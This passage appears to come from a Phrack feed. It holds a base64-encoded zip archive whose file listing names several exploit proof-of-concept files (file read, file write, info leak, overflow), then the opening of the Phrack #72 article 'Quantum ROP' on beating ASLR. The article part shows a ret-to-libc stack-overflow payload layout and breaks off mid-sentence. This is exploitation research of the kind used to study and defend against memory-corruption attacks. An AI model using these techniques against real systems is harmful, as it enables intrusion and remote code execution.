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 BAAAomkAAAAA ]]> https://phrack.org/issues/72/quantum-rop-rop-but-cooler.html Tue, 19 Aug 2025 00:00:00 +0000 Yoav Shifman, Yahav Rahom Phrack #72 phrack-72-12 |=-----------------------------------------------------------------------=| |=-------------------=[ Quantum ROP: ROP but cooler ]=-------------------=| |=-----------------------------------------------------------------------=| |=-------------=[ Yoav Shifman (yoav.shifman8@gmail.com) ]=--------------=| |=-------=[ Co-written with Yahav Rahom (yahavrahom1@gmail.com) ]=-------=| |=-----------------------------------------------------------------------=| Imagine a world with flying cars, cure to all diseases, worldwide peace and superpowers. This world must also have Quantum ROP in it. Table of Contents ~~~~~~~~~~~~~~~~~ 0 Introduction 1 Classical ret-to-libc 2 The difficulty with overcoming ASLR (And PIE) 3 Quantum ROP 4 Qgadget collisions - going further and beyond 5 More randomized bits, more potential qgadgets 6 Technique potential 7 Conclusions 8 References 0 Introduction ~~~~~~~~~~~~~~~~ Have you ever found yourself with a nice BOF on the stack, but disappointed when you find out that ASLR is on? Well, the other day, I had exactly that. This paper describes how to turn your wishful gambler game with ret-2-libc into a calculated world of quantum gadgets, in which you take maximizing your chances for RCE to the extreme! In this paper I will assume you are already familiar with ROP. Please take your time to read about it if you haven't already. 1 Classical ret-to-libc ~~~~~~~~~~~~~~~~~~~~~~~~~ This section is heavily based on [1]. The classical return-into-libc technique is well described in [2], so just a short summary here. This method is most commonly used to evade the protection offered by the non-executable stack. Instead of returning into code located within the stack, the vulnerable function should return into a memory area occupied by a dynamic library. This can be achieved by overflowing a stack buffer with the following payload: <- stack grows this way addresses grow this way -> +------------------------------------------------------------------+ | buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ... +------------------------------------------------------------------+ ^ | + this int32 should overwrite saved return address of a vulnerable 